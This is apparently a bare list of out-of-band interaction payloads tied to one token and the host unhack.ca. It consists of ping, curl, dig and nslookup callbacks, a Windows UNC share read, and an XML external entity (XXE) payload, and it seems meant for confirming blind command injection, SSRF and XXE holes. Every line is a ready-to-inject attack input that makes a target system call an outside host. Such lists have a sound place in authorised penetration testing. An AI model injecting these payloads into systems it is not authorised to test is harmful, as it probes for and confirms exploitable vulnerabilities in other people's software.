$ ping -c1 -p 00a9c64168d8bd095fb04813e9a02000 unhack.ca
 

$ curl http://unhack.ca/p/a9c64168d8bd095fb04813e9a020
 

$ dig a9c64168d8bd095fb04813e9a020 @unhack.ca
 

$ dig a9c64168d8bd095fb04813e9a020.ns.unhack.ca
 

C:\> nslookup a9c64168d8bd095fb04813e9a020 unhack.ca
 

C:\> type \\unhack.ca\a9c64168d8bd095fb04813e9a020\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a9c64168d8bd095fb04813e9a020">]>
    <foo>&xxe;</foo>